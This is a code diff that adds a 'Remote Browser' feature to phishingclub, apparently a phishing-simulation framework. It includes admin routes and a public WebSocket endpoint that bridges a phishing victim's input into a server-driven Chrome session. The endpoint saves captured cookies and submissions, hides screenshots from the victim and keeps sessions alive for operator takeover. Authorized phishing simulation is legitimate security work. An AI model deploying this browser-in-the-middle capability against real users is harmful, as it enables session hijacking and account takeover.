diff --git a/.claudeignore b/.claudeignore new file mode 100644 index 0000000..e0df9f1 --- /dev/null +++ b/.claudeignore @@ -0,0 +1,20 @@ +# Go vendor dependencies +backend/vendor/ + +# Embedded GeoIP data blobs +backend/embedded/geoip/ + +# Node.js dependencies +frontend/node_modules/ + +# Dev runtime artifacts +backend/.dev/ +backend/.dev-air/ +frontend/.svelte-kit/ + +# Compiled binaries +build/ + +# Temporary files +tmp/ +.tmp/ diff --git a/backend/README.md b/backend/README.md index 8216461..f836949 100644 --- a/backend/README.md +++ b/backend/README.md @@ -11,6 +11,19 @@ The program must be executable The program must have rights to serve on privliged ports `sudo setcap CAP_NET_BIND_SERVICE=+eip /path/to/binary` +### Updating the systemd service unit (required for Remote Browser feature) + +The Remote Browser feature spawns a Chrome process as a subprocess. To support this, the systemd unit was updated to remove `MemoryDenyWriteExecute` (incompatible with Chrome's V8 JIT) and `RestrictNamespaces` (required for Chrome's sandbox to work). + +The in-app update replaces the binary but **does not** reload the service unit automatically. After updating from a version that did not have Remote Browser support, you must run: + +```bash +sudo systemctl daemon-reload +sudo systemctl restart phishingclub +``` + +Without this the old unit stays active and Chrome will crash when a remote browser session is started. + ### Known Issues #### Hot reloading not working / New files now working diff --git a/backend/app/administration.go b/backend/app/administration.go index a6dde0a..6f92353 100644 --- a/backend/app/administration.go +++ b/backend/app/administration.go @@ -208,6 +208,14 @@ const ( ROUTE_V1_VERSION = "/api/v1/version" // import ROUTE_V1_IMPORT = "/api/v1/import" + // remote browser + ROUTE_V1_REMOTE_BROWSER = "/api/v1/remote-browser" + ROUTE_V1_REMOTE_BROWSER_OVERVIEW = "/api/v1/remote-browser/overview" + ROUTE_V1_REMOTE_BROWSER_ID = "/api/v1/remote-browser/:id" + ROUTE_V1_REMOTE_BROWSER_ID_RUN = "/api/v1/remote-browser/:id/run" + ROUTE_V1_REMOTE_BROWSER_LIVE = "/api/v1/remote-browser/live" + ROUTE_V1_REMOTE_BROWSER_LIVE_CRID = "/api/v1/remote-browser/live/:crID" + ROUTE_V1_REMOTE_BROWSER_LIVE_STREAM = "/api/v1/remote-browser/live/:crID/stream" ) // administrationServer is the administrationServer app @@ -500,7 +508,18 @@ func setupRoutes( GET(ROUTE_V1_BACKUP_LIST, middleware.SessionHandler, controllers.Backup.ListBackups). GET(ROUTE_V1_BACKUP_DOWNLOAD, middleware.SessionHandler, controllers.Backup.DownloadBackup). // import - POST(ROUTE_V1_IMPORT, middleware.SessionHandler, controllers.Import.Import) + POST(ROUTE_V1_IMPORT, middleware.SessionHandler, controllers.Import.Import). + // remote browser + GET(ROUTE_V1_REMOTE_BROWSER, middleware.SessionHandler, controllers.RemoteBrowser.GetAll). + GET(ROUTE_V1_REMOTE_BROWSER_OVERVIEW, middleware.SessionHandler, controllers.RemoteBrowser.GetOverview). + GET(ROUTE_V1_REMOTE_BROWSER_ID, middleware.SessionHandler, controllers.RemoteBrowser.GetByID). + POST(ROUTE_V1_REMOTE_BROWSER, middleware.SessionHandler, controllers.RemoteBrowser.Create). + PATCH(ROUTE_V1_REMOTE_BROWSER_ID, middleware.SessionHandler, controllers.RemoteBrowser.UpdateByID). + DELETE(ROUTE_V1_REMOTE_BROWSER_ID, middleware.SessionHandler, controllers.RemoteBrowser.DeleteByID). + GET(ROUTE_V1_REMOTE_BROWSER_ID_RUN, middleware.SessionHandler, controllers.RemoteBrowser.RunByID). + GET(ROUTE_V1_REMOTE_BROWSER_LIVE, middleware.SessionHandler, controllers.RemoteBrowser.ListLiveSessions). + DELETE(ROUTE_V1_REMOTE_BROWSER_LIVE_CRID, middleware.SessionHandler, controllers.RemoteBrowser.CloseLiveSession). + GET(ROUTE_V1_REMOTE_BROWSER_LIVE_STREAM, middleware.SessionHandler, controllers.RemoteBrowser.StreamLiveSession) return r } diff --git a/backend/app/controllers.go b/backend/app/controllers.go index 48919ce..4ef6466 100644 --- a/backend/app/controllers.go +++ b/backend/app/controllers.go @@ -40,6 +40,7 @@ type Controllers struct { Backup *controller.Backup IPAllowList *controller.IPAllowList OAuthProvider *controller.OAuthProvider + RemoteBrowser *controller.RemoteBrowserController } // NewControllers creates a collection of controllers @@ -196,6 +197,15 @@ func NewControllers( OAuthProviderService: services.OAuthProvider, Config: conf, } + remoteBrowser := &controller.RemoteBrowserController{ + Common: common, + RemoteBrowserService: services.RemoteBrowser, + RemoteBrowserRepository: repositories.RemoteBrowser, + CampaignRecipientRepository: repositories.CampaignRecipient, + CampaignRepository: repositories.Campaign, + CampaignService: services.Campaign, + ExecPath: conf.RemoteBrowser.ExecPath, + } return &Controllers{ Asset: asset, @@ -229,5 +239,6 @@ func NewControllers( Backup: backup, IPAllowList: ipAllowList, OAuthProvider: oauthProvider, + RemoteBrowser: remoteBrowser, } } diff --git a/backend/app/repositories.go b/backend/app/repositories.go index a8d5ee6..9532754 100644 --- a/backend/app/repositories.go +++ b/backend/app/repositories.go @@ -31,6 +31,7 @@ type Repositories struct { OAuthProvider *repository.OAuthProvider OAuthState *repository.OAuthState MicrosoftDeviceCode *repository.MicrosoftDeviceCode + RemoteBrowser *repository.RemoteBrowser } // NewRepositories creates a collection of repositories @@ -63,5 +64,6 @@ func NewRepositories( OAuthProvider: &repository.OAuthProvider{DB: db}, OAuthState: &repository.OAuthState{DB: db}, MicrosoftDeviceCode: &repository.MicrosoftDeviceCode{DB: db}, + RemoteBrowser: &repository.RemoteBrowser{DB: db}, } } diff --git a/backend/app/server.go b/backend/app/server.go index 0b800d3..81feecf 100644 --- a/backend/app/server.go +++ b/backend/app/server.go @@ -62,6 +62,7 @@ type Server struct { repositories *Repositories proxyServer *proxy.ProxyHandler ja4Middleware *middleware.JA4Middleware + remoteBrowserWSPath string } // NewServer returns a new server @@ -74,6 +75,7 @@ func NewServer( repositories *Repositories, logger *zap.SugaredLogger, certMagicConfig *certmagic.Config, + remoteBrowserWSPath string, ) *Server { // setup ja4 middleware for tls fingerprinting ja4Middleware := middleware.NewJA4Middleware(logger) @@ -118,6 +120,7 @@ func NewServer( certMagicConfig: certMagicConfig, proxyServer: proxyServer, ja4Middleware: ja4Middleware, + remoteBrowserWSPath: remoteBrowserWSPath, } } @@ -342,6 +345,12 @@ func (s *Server) checkAndServeSharedAsset(c *gin.Context) bool { // checks if the request should be redirected // checks if the request is for a static page or static not found page func (s *Server) Handler(c *gin.Context) { + // pass through to the explicit Gin route for the victim remote browser WS endpoint + if strings.HasPrefix(c.Request.URL.Path, "/"+s.remoteBrowserWSPath+"/") { + c.Next() + return + } + if cacheEntry, ok := s.ja4Middleware.ConnectionFingerprints.Load(c.Request.RemoteAddr); ok { if entry, ok := cacheEntry.(*middleware.FingerprintEntry); ok { fingerprint := entry.Fingerprint @@ -2023,6 +2032,11 @@ func (s *Server) renderDenyPage( // AssignRoutes assigns the routes to the server func (s *Server) AssignRoutes(r *gin.Engine) { + // victim-facing remote browser WS endpoint - lives on the phishing engine (r), not + // the admin engine, because it is served to the victim's browser. s.Handler has an + // explicit prefix check that calls c.Next() for this path so the catch-all proxy + // logic does not swallow the request before Gin can dispatch to ServeVictim. + r.GET("/"+s.remoteBrowserWSPath+"/:crID/:rbID", s.controllers.RemoteBrowser.ServeVictim) r.Use(s.Handler) r.NoRoute(s.handlerNotFound) } diff --git a/backend/app/services.go b/backend/app/services.go index 80538bc..72c90b6 100644 --- a/backend/app/services.go +++ b/backend/app/services.go @@ -43,6 +43,7 @@ type Services struct { ProxySessionManager *service.ProxySessionManager OAuthProvider *service.OAuthProvider MicrosoftDeviceCode *service.MicrosoftDeviceCode + RemoteBrowser *service.RemoteBrowser } // NewServices creates a collection of services @@ -72,6 +73,8 @@ func NewServices( templateService := &service.Template{ Common: common, RecipientRepository: repositories.Recipient, + OptionRepository: repositories.Option, + RemoteBrowserRepository: repositories.RemoteBrowser, MicrosoftDeviceCodeService: microsoftDeviceCodeService, } file := &service.File{ @@ -196,6 +199,10 @@ func NewServices( TemplateService: templateService, CampaignTemplateService: campaignTemplate, } + remoteBrowser := &service.RemoteBrowser{ + Common: common, + RemoteBrowserRepository: repositories.RemoteBrowser, + } campaign := &service.Campaign{ Common: common, CampaignRepository: repositories.Campaign, @@ -214,6 +221,7 @@ func NewServices( TemplateService: templateService, MicrosoftDeviceCodeRepository: repositories.MicrosoftDeviceCode, AttachmentPath: attachmentPath, + RemoteBrowserService: remoteBrowser, } // wire campaign service into microsoft device code service now that campaign is constructed microsoftDeviceCodeService.CampaignService = campaign @@ -309,5 +317,6 @@ func NewServices( ProxySessionManager: proxySessionManager, OAuthProvider: oauthProvider, MicrosoftDeviceCode: microsoftDeviceCodeService, + RemoteBrowser: remoteBrowser, } } diff --git a/backend/config/config.go b/backend/config/config.go index 20fde65..c04e2b0 100644 --- a/backend/config/config.go +++ b/backend/config/config.go @@ -78,17 +78,19 @@ type ( LogPath string ErrLogPath string - IPSecurity IPSecurityConfig + IPSecurity IPSecurityConfig + RemoteBrowser RemoteBrowserServerConfig } // ConfigDTO config DTO ConfigDTO struct { - ACME ACME `json:"acme"` - AdministrationServer AdministrationServer `json:"administration"` - PhishingServer PhishingServer `json:"phishing"` - Database Database `json:"database"` - Log Log `json:"log"` - IPSecurity IPSecurityConfig `json:"ip_security"` + ACME ACME `json:"acme"` + AdministrationServer AdministrationServer `json:"administration"` + PhishingServer PhishingServer `json:"phishing"` + Database Database `json:"database"` + Log Log `json:"log"` + IPSecurity IPSecurityConfig `json:"ip_security"` + RemoteBrowser RemoteBrowserServerConfig `json:"remote_browser"` } Log struct { @@ -121,6 +123,14 @@ type ( ACME struct { Email string `json:"email"` } + + // RemoteBrowserServerConfig holds server-side remote browser settings. + RemoteBrowserServerConfig struct { + // ExecPath is the path to a Chrome/Chromium binary. When empty Rod uses + // its own auto-downloaded Chromium. Set at the server level only — platform + // admins cannot override this to prevent arbitrary binary execution. + ExecPath string `json:"exec_path"` + } ) type IPSecurityConfig struct { @@ -451,7 +461,7 @@ func StringAddressToTCPAddr(address string) (*net.TCPAddr, error) { // FromMap creates a *Config from a DTO func FromDTO(dto *ConfigDTO) (*Config, error) { - return NewConfig( + cfg, err := NewConfig( dto.ACME.Email, dto.AdministrationServer.TLSHost, dto.AdministrationServer.TLSAuto, @@ -466,6 +476,11 @@ func FromDTO(dto *ConfigDTO) (*Config, error) { dto.Log.ErrorPath, dto.IPSecurity, ) + if err != nil { + return nil, err + } + cfg.RemoteBrowser = dto.RemoteBrowser + return cfg, nil } // ToDTO converts a *Config to a *ConfigDTO @@ -493,7 +508,8 @@ func (c *Config) ToDTO() *ConfigDTO { Path: c.LogPath, ErrorPath: c.ErrLogPath, }, - IPSecurity: c.IPSecurity, + IPSecurity: c.IPSecurity, + RemoteBrowser: c.RemoteBrowser, } } diff --git a/backend/controller/remoteBrowser.go b/backend/controller/remoteBrowser.go new file mode 100644 index 0000000..38a2cd4 --- /dev/null +++ b/backend/controller/remoteBrowser.go @@ -0,0 +1,1468 @@ +package controller + +import ( + "bytes" + "context" + "encoding/base64" + "encoding/json" + "fmt" + "image" + "image/draw" + "image/jpeg" + "net/http" + "net/url" + "sync" + "sync/atomic" + "time" + + "github.com/gin-gonic/gin" + "github.com/go-rod/rod" + "github.com/go-rod/rod/lib/proto" + "github.com/google/uuid" + "github.com/gorilla/websocket" + "github.com/oapi-codegen/nullable" + "github.com/phishingclub/phishingclub/cache" + "github.com/phishingclub/phishingclub/data" + "github.com/phishingclub/phishingclub/database" + "github.com/phishingclub/phishingclub/model" + "github.com/phishingclub/phishingclub/remotebrowser" + "github.com/phishingclub/phishingclub/repository" + "github.com/phishingclub/phishingclub/service" + "github.com/phishingclub/phishingclub/utils" + "github.com/phishingclub/phishingclub/vo" +) + +// activeSession tracks every victim WebSocket session from the moment it connects. +// Pointer identity is used by CompareAndDelete so a newer session's entry +// is never removed by an older session's defer cleanup. +// browserPage is nil until the JS script calls newSession(); once set the session +// can be streamed to an admin via StreamLiveSession. +type activeSession struct { + cancel context.CancelFunc + CampaignID uuid.UUID + RecipientID uuid.UUID + CRID uuid.UUID + CreatedAt time.Time + victimConnected atomic.Bool + // isKeepAlive is set when the JS script calls s.keepAlive(), meaning the + // browser is parked and available for operator takeover. A revisit from the + // victim must not cancel this session. + isKeepAlive atomic.Bool + // isTest marks sessions created by the test runner (RunByID) so they are + // excluded from the live session list shown to operators. + isTest bool + // browserPage is set (non-nil) only after newSession() is called. + browserPageMu sync.Mutex + browserPage *rod.Page +} + +func (a *activeSession) GetCampaignID() uuid.UUID { return a.CampaignID } +func (a *activeSession) Cancel() { a.cancel() } +func (a *activeSession) IsKeepAlive() bool { return a.isKeepAlive.Load() } + +func (a *activeSession) getBrowserPage() *rod.Page { + a.browserPageMu.Lock() + defer a.browserPageMu.Unlock() + return a.browserPage +} + +func (a *activeSession) setBrowserPage(page *rod.Page) { + a.browserPageMu.Lock() + defer a.browserPageMu.Unlock() + a.browserPage = page +} + +// streamInfo tracks a named cropped stream started by s.stream(selector, name). +// originX/Y are the element's CSS-pixel top-left corner (for input coord mapping). +// scaleX/Y are JPEG pixels per CSS pixel, computed from the first frame received +// (may differ from 1.0 on HiDPI displays or when the viewport fits within maxWidth/maxHeight). +type streamInfo struct { + mu sync.RWMutex + originX float64 + originY float64 + scaleX float64 + scaleY float64 + boxSet bool // true once the first frame has been processed and scale is known + cancel context.CancelFunc + maxFps int + quality int // JPEG re-encode quality for cropped frames (0 = use default 92) +} + +func (s *streamInfo) setOrigin(x, y float64) { + s.mu.Lock() + s.originX, s.originY = x, y + s.mu.Unlock() +} + +func (s *streamInfo) setScale(sx, sy float64) { + s.mu.Lock() + s.scaleX, s.scaleY, s.boxSet = sx, sy, true + s.mu.Unlock() +} + +// getInputCoords maps victim canvas pixel coords (vx, vy) back to CDP CSS pixel coords. +func (s *streamInfo) getInputCoords(vx, vy float64) (float64, float64, bool) { + s.mu.RLock() + defer s.mu.RUnlock() + if !s.boxSet || s.scaleX == 0 || s.scaleY == 0 { + return 0, 0, false + } + return s.originX + vx/s.scaleX, s.originY + vy/s.scaleY, true +} + +var RemoteBrowserColumnsMap = map[string]string{ + "name": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "name"), + "updated_at": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "updated_at"), + "created_at": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "created_at"), + "updated": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "updated_at"), +} + +var wsUpgrader = websocket.Upgrader{ + CheckOrigin: func(r *http.Request) bool { + origin := r.Header.Get("Origin") + if origin == "" { + return true // non-browser client (CLI, curl) + } + u, err := url.Parse(origin) + if err != nil { + return false + } + return u.Host == r.Host + }, +} + +func modelConfigToRunnerConfig(c nullable.Nullable[model.RemoteBrowserConfig]) remotebrowser.Config { + cfg := remotebrowser.DefaultConfig() + if mc, err := c.Get(); err == nil { + if mc.Mode == "local" || mc.Mode == "remote" { + cfg.Mode = mc.Mode + } + if cfg.Mode == "remote" { + cfg.Remote = mc.Remote + } + cfg.Proxy = mc.Proxy + cfg.Headless = mc.Headless + if mc.Timeout > 0 { + cfg.Timeout = mc.Timeout + } + } + return cfg +} + +// RemoteBrowserController handles remote browser CRUD and live test runs. +type RemoteBrowserController struct { + Common + RemoteBrowserService *service.RemoteBrowser + RemoteBrowserRepository *repository.RemoteBrowser + CampaignRecipientRepository *repository.CampaignRecipient + CampaignRepository *repository.Campaign + CampaignService *service.Campaign + // ExecPath is the server-configured Chrome binary (from config.json). + // Platform admins cannot override this value. + ExecPath string +} + +// Create creates a remote browser script. +func (m *RemoteBrowserController) Create(g *gin.Context) { + session, _, ok := m.handleSession(g) + if !ok { + return + } + var req model.RemoteBrowser + if ok := m.handleParseRequest(g, &req); !ok { + return + } + id, err := m.RemoteBrowserService.Create(g.Request.Context(), session, &req) + if ok := m.handleErrors(g, err); !ok { + return + } + m.Response.OK(g, map[string]string{"id": id.String()}) +} + +// GetOverview returns a lightweight list of remote browsers. +func (m *RemoteBrowserController) GetOverview(g *gin.Context) { + session, _, ok := m.handleSession(g) + if !ok { + return + } + queryArgs, ok := m.handleQueryArgs(g) + if !ok { + return + } + queryArgs.DefaultSortByUpdatedAt() + queryArgs.RemapOrderBy(RemoteBrowserColumnsMap) + companyID := companyIDFromRequestQuery(g) + + result, err := m.RemoteBrowserService.GetAllOverview( + companyID, + g.Request.Context(), + session, + &repository.RemoteBrowserOption{QueryArgs: queryArgs}, + ) + if ok := m.handleErrors(g, err); !ok { + return + } + m.Response.OK(g, result) +} + +// GetAll returns full remote browser records with pagination. +func (m *RemoteBrowserController) GetAll(g *gin.Context) { + session, _, ok := m.handleSession(g) + if !ok { + return + } + queryArgs, ok := m.handleQueryArgs(g) + if !ok { + return + } + queryArgs.DefaultSortByUpdatedAt() + queryArgs.RemapOrderBy(RemoteBrowserColumnsMap) + companyID := companyIDFromRequestQuery(g) + + result, err := m.RemoteBrowserService.GetAll( + g.Request.Context(), + session, + companyID, + &repository.RemoteBrowserOption{QueryArgs: queryArgs}, + ) + if ok := m.handleErrors(g, err); !ok { + return + } + m.Response.OK(g, result) +} + +// GetByID returns a single remote browser. +func (m *RemoteBrowserController) GetByID(g *gin.Context) { + session, _, ok := m.handleSession(g) + if !ok { + return + } + id, ok := m.handleParseIDParam(g) + if !ok { + return + } + rb, err := m.RemoteBrowserService.GetByID(g.Request.Context(), session, id, &repository.RemoteBrowserOption{}) + if ok := m.handleErrors(g, err); !ok { + return + } + m.Response.OK(g, rb) +} + +// UpdateByID updates a remote browser. +func (m *RemoteBrowserController) UpdateByID(g *gin.Context) { + session, _, ok := m.handleSession(g) + if !ok { + return + } + id, ok := m.handleParseIDParam(g) + if !ok { + return + } + var req model.RemoteBrowser + if ok := m.handleParseRequest(g, &req); !ok { + return + } + err := m.RemoteBrowserService.UpdateByID(g.Request.Context(), session, id, &req) + if ok := m.handleErrors(g, err); !ok { + return + } + m.Response.OK(g, map[string]string{"message": "Remote browser updated"}) +} + +// DeleteByID deletes a remote browser. +func (m *RemoteBrowserController) DeleteByID(g *gin.Context) { + session, _, ok := m.handleSession(g) + if !ok { + return + } + id, ok := m.handleParseIDParam(g) + if !ok { + return + } + err := m.RemoteBrowserService.DeleteByID(g.Request.Context(), session, id) + if ok := m.handleErrors(g, err); !ok { + return + } + m.Response.OK(g, map[string]string{"message": "Remote browser deleted"}) +} + +// RunByID upgrades to WebSocket and executes the saved script, streaming +// RunEvents back in real time. The client may send {"type":"stop"} to abort. +func (m *RemoteBrowserController) RunByID(g *gin.Context) { + session, _, ok := m.handleSession(g) + if !ok { + return + } + id, ok := m.handleParseIDParam(g) + if !ok { + return + } + + rb, err := m.RemoteBrowserService.GetByID(g.Request.Context(), session, id, &repository.RemoteBrowserOption{}) + if ok := m.handleErrors(g, err); !ok { + return + } + + cfg := modelConfigToRunnerConfig(rb.Config) + + conn, err := wsUpgrader.Upgrade(g.Writer, g.Request, nil) + if err != nil { + m.Logger.Warnw("websocket upgrade failed", "error", err) + return + } + defer conn.Close() + conn.SetReadLimit(64 * 1024) + + scriptVal, _ := rb.Script.Get() + script := scriptVal.String() + runner := remotebrowser.NewRunner(script, cfg) + runner.ExecPath = m.ExecPath + + ctx, cancel := context.WithCancel(g.Request.Context()) + defer cancel() + + // Register a synthetic activeSession so StreamLiveSession can stream this test run. + // Key is the script UUID, which won't collide with victim crIDs (campaign-recipient UUIDs). + sess := &activeSession{ + cancel: cancel, + CRID: *id, + CreatedAt: time.Now(), + isTest: true, + } + if prev, hadPrev := m.RemoteBrowserService.SwapSession(id.String(), sess); hadPrev { + prev.Cancel() + } + defer m.RemoteBrowserService.CompareAndDeleteSession(id.String(), sess) + + // Forward BrowserCh into the session so StreamLiveSession sees a non-nil page. + go func() { + select { + case page := <-runner.BrowserCh: + sess.setBrowserPage(page) + case <-ctx.Done(): + } + }() + + // Tell the frontend the session ID to use for View/Control streaming. + if sessionMsg, err := json.Marshal(map[string]string{"type": "session", "id": id.String()}); err == nil { + conn.WriteMessage(websocket.TextMessage, sessionMsg) //nolint:errcheck + } + + // Read loop: route {"type":"stop"} to cancel; {"event":"..","data":{}} to runner.Incoming. + go func() { + for { + _, msg, err := conn.ReadMessage() + if err != nil { + cancel() + return + } + var cmd struct { + Type string `json:"type"` + Event string `json:"event"` + Data json.RawMessage `json:"data"` + } + if json.Unmarshal(msg, &cmd) != nil { + continue + } + if cmd.Type == "stop" { + cancel() + return + } + if cmd.Event != "" { + var data interface{} + if len(cmd.Data) > 0 { + json.Unmarshal(cmd.Data, &data) //nolint:errcheck + } + select { + case runner.Incoming <- remotebrowser.IncomingMsg{Event: cmd.Event, Data: data}: + default: + } + } + } + }() + + // Drain StreamCh — test runner doesn't serve cropped streams. + go func() { + for range runner.StreamCh { + } + }() + + // Run the script in a goroutine; Events channel is closed when done. + go runner.Run(ctx) //nolint:errcheck + + // Write loop: forward every RunEvent to the WebSocket client. + for evt := range runner.Events { + data, err := json.Marshal(evt) + if err != nil { + continue + } + if err := conn.WriteMessage(websocket.TextMessage, data); err != nil { + return + } + } +} + +// ServeVictim is the public (no auth) WebSocket endpoint that victims connect to. +// The URL is //:crID/:rbID where crID is the campaign recipient ID +// (the tracking token already embedded in the phishing page via {{.rID}}) and rbID +// is the remote browser script to run. +// +// The handler bridges victim WebSocket messages into the runner's Incoming channel and +// forwards runner events back to the victim. When the runner emits a "capture" event +// the cookies are saved as a CampaignEvent so they appear alongside AITM captures. +func (m *RemoteBrowserController) ServeVictim(g *gin.Context) { + crID, err := uuid.Parse(g.Param("crID")) + if err != nil { + g.AbortWithStatus(http.StatusNotFound) + return + } + rbID, err := uuid.Parse(g.Param("rbID")) + if err != nil { + g.AbortWithStatus(http.StatusNotFound) + return + } + + // look up campaign recipient to get campaignID / recipientID for capture saving + cr, err := m.CampaignRecipientRepository.GetByCampaignRecipientID(g.Request.Context(), &crID) + if err != nil { + g.AbortWithStatus(http.StatusNotFound) + return + } + + // look up remote browser script directly (no admin session on this public endpoint) + rb, err := m.RemoteBrowserRepository.GetByID(g.Request.Context(), &rbID, &repository.RemoteBrowserOption{}) + if err != nil { + g.AbortWithStatus(http.StatusNotFound) + return + } + + // verify the script belongs to the same company as the + // campaign. A script with no company (nil) is global and usable by any campaign. + if rbCompany, err := rb.CompanyID.Get(); err == nil { + cid, cidErr := cr.CampaignID.Get() + if cidErr != nil { + g.AbortWithStatus(http.StatusNotFound) + return + } + campaign, campErr := m.CampaignRepository.GetByID(g.Request.Context(), &cid, &repository.CampaignOption{}) + if campErr != nil { + g.AbortWithStatus(http.StatusNotFound) + return + } + campCompany, campCompanyErr := campaign.CompanyID.Get() + if campCompanyErr != nil || campCompany != rbCompany { + g.AbortWithStatus(http.StatusNotFound) + return + } + } + + cfg := modelConfigToRunnerConfig(rb.Config) + + conn, err := wsUpgrader.Upgrade(g.Writer, g.Request, nil) + if err != nil { + return + } + defer conn.Close() + conn.SetReadLimit(64 * 1024) + + var connMu sync.Mutex + + scriptVal, _ := rb.Script.Get() + runner := remotebrowser.NewRunner(scriptVal.String(), cfg) + runner.ExecPath = m.ExecPath + + campaignID, err1 := cr.CampaignID.Get() + recipientID, err2 := cr.RecipientID.Get() + if err1 != nil || err2 != nil { + g.AbortWithStatus(http.StatusInternalServerError) + return + } + + ctx, cancel := context.WithCancel(g.Request.Context()) + sess := &activeSession{ + cancel: cancel, + CampaignID: campaignID, + RecipientID: recipientID, + CRID: crID, + CreatedAt: time.Now(), + } + sess.victimConnected.Store(true) + + // One active session per campaign recipient — cancel any previous one. + // Exception: if the previous session is in keepAlive state the script has + // parked and is waiting for operator takeover; cancelling it would destroy + // a live browser the operator may be about to use. In that case put the + // old session back and drop the new connection instead. + crIDStr := crID.String() + if prev, hadPrev := m.RemoteBrowserService.SwapSession(crIDStr, sess); hadPrev { + if prev.IsKeepAlive() { + m.RemoteBrowserService.StoreSession(crIDStr, prev) + cancel() + return + } + prev.Cancel() + } + defer func() { + m.RemoteBrowserService.CompareAndDeleteSession(crIDStr, sess) + cancel() + }() + + var activeNamedStreams sync.Map // name → *streamInfo + + // victimVP stores the victim's viewport size sent on connect. + // Stored as int64 atomics so they can be read from the BrowserCh goroutine + // without a mutex; 0 means "not yet received". + var vpWidth, vpHeight atomic.Int64 + + // applyViewport sets the emulated viewport on the rod page if we have both a page + // and a non-zero victim viewport. + applyViewport := func(page *rod.Page) { + w := vpWidth.Load() + h := vpHeight.Load() + if w <= 0 || h <= 0 || page == nil { + return + } + proto.EmulationSetDeviceMetricsOverride{ + Width: int(w), Height: int(h), DeviceScaleFactor: 1, + }.Call(page) //nolint:errcheck + } + + // Read loop: forward victim events into the runner; route stream_input with coord offset. + go func() { + for { + _, msg, err := conn.ReadMessage() + if err != nil { + sess.victimConnected.Store(false) + cancel() + return + } + var cmd struct { + Type string `json:"type"` + Event string `json:"event"` + Data json.RawMessage `json:"data"` + Name string `json:"name"` + Action string `json:"action"` + X float64 `json:"x"` + Y float64 `json:"y"` + Button string `json:"button"` + DeltaX float64 `json:"deltaX"` + DeltaY float64 `json:"deltaY"` + Key string `json:"key"` + Code string `json:"code"` + KeyCode int64 `json:"keyCode"` + Modifiers int64 `json:"modifiers"` + CharText string `json:"charText"` + Width float64 `json:"width"` + Height float64 `json:"height"` + } + if json.Unmarshal(msg, &cmd) != nil { + continue + } + if cmd.Type == "viewport" && cmd.Width > 0 && cmd.Height > 0 { + vpWidth.Store(int64(cmd.Width)) + vpHeight.Store(int64(cmd.Height)) + applyViewport(sess.getBrowserPage()) + continue + } + if cmd.Type == "stream_input" && cmd.Name != "" && cmd.Action != "" { + if val, exists := activeNamedStreams.Load(cmd.Name); exists { + si := val.(*streamInfo) + // cmd.X/Y are in cropped-canvas JPEG pixels; map back to CDP CSS coords. + cdpX, cdpY, ok := si.getInputCoords(cmd.X, cmd.Y) + if ok { + if page := sess.getBrowserPage(); page != nil { + adjusted, _ := json.Marshal(map[string]interface{}{ + "type": cmd.Action, + "x": cdpX, + "y": cdpY, + "button": cmd.Button, + "deltaX": cmd.DeltaX, + "deltaY": cmd.DeltaY, + "key": cmd.Key, + "code": cmd.Code, + "keyCode": cmd.KeyCode, + "modifiers": cmd.Modifiers, + "charText": cmd.CharText, + }) + m.dispatchInput(page, adjusted) + } + } + } + continue + } + if cmd.Event == "" { + continue + } + var eventData interface{} + json.Unmarshal(cmd.Data, &eventData) //nolint:errcheck + select { + case runner.Incoming <- remotebrowser.IncomingMsg{Event: cmd.Event, Data: eventData}: + default: + } + } + }() + + go runner.Run(ctx) //nolint:errcheck + + // As soon as the browser spawns, mark the session as streamable and apply + // the victim viewport if it was already received before the browser was ready. + go func() { + select { + case <-ctx.Done(): + case page := <-runner.BrowserCh: + sess.setBrowserPage(page) + applyViewport(page) + } + }() + + // Watch for s.stream(selector, name) / stop() calls from the script. + go func() { + for { + select { + case <-ctx.Done(): + return + case cmd, ok := <-runner.StreamCh: + if !ok { + return + } + if cmd.Op == "start" { + if val, exists := activeNamedStreams.LoadAndDelete(cmd.Name); exists { + val.(*streamInfo).cancel() + } + streamCtx, streamCancel := context.WithCancel(cmd.Page.GetContext()) + si := &streamInfo{cancel: streamCancel, maxFps: cmd.MaxFps, quality: cmd.Quality} + activeNamedStreams.Store(cmd.Name, si) + go m.runNamedStream(streamCtx, cmd.Page, &connMu, conn, cmd.Selector, cmd.Name, si) + } else if cmd.Op == "stop" { + if val, exists := activeNamedStreams.LoadAndDelete(cmd.Name); exists { + val.(*streamInfo).cancel() + } + } + } + } + }() + + clientIP := utils.ExtractClientIP(g.Request) + userAgent := g.Request.UserAgent() + + m.saveInfoEvent(g.Request.Context(), &campaignID, &recipientID, "victim connected", clientIP, userAgent) + + // Write loop: forward script events back to the victim page; intercept captures and errors. + for evt := range runner.Events { + if evt.Type == "capture" { + m.saveCaptureEvent(g.Request.Context(), g.Request, &campaignID, &recipientID, evt.Value, clientIP, userAgent) + } + if evt.Type == "submit" { + m.saveSubmitEvent(g.Request.Context(), g.Request, &campaignID, &recipientID, evt.Value, clientIP, userAgent) + } + if evt.Type == "error" { + m.saveInfoEvent(g.Request.Context(), &campaignID, &recipientID, evt.Message, clientIP, userAgent) + } + if evt.Type == "info" { + m.saveInfoEvent(g.Request.Context(), &campaignID, &recipientID, evt.Message, clientIP, userAgent) + } + if evt.Type == "keep_alive" { + sess.isKeepAlive.Store(true) + select { + case page := <-runner.LiveCh: + sess.setBrowserPage(page) + m.saveInfoEvent(g.Request.Context(), &campaignID, &recipientID, "remote browser session available for takeover", clientIP, userAgent) + default: + } + } + if evt.Type == "log" { + m.Logger.Debugw(evt.Message, "campaign_id", campaignID, "recipient_id", recipientID) + continue + } + // Skip server-side-only events: capture/submit (saved to DB), keep_alive (internal + // state), info (saved to DB), log (sent to logger), screenshot (reveals automation to victim). + if evt.Type == "capture" || evt.Type == "submit" || evt.Type == "keep_alive" || evt.Type == "info" || evt.Type == "screenshot" { + continue + } + payload, err := json.Marshal(map[string]interface{}{ + "type": evt.Type, + "key": evt.Key, + "value": evt.Value, + }) + if err != nil { + continue + } + connMu.Lock() + writeErr := conn.WriteMessage(websocket.TextMessage, payload) + connMu.Unlock() + if writeErr != nil { + return + } + } +} + +// liveSessionInfo is the JSON shape returned by the live session list/get endpoints. +type liveSessionInfo struct { + CRID string `json:"crID"` + CampaignID string `json:"campaignID"` + RecipientID string `json:"recipientID"` + CreatedAt time.Time `json:"createdAt"` + VictimConnected bool `json:"victimConnected"` + CanStream bool `json:"canStream"` // true once newSession() has spawned a browser +} + +func (m *RemoteBrowserController) sessionToInfo(sess *activeSession) liveSessionInfo { + return liveSessionInfo{ + CRID: sess.CRID.String(), + CampaignID: sess.CampaignID.String(), + RecipientID: sess.RecipientID.String(), + 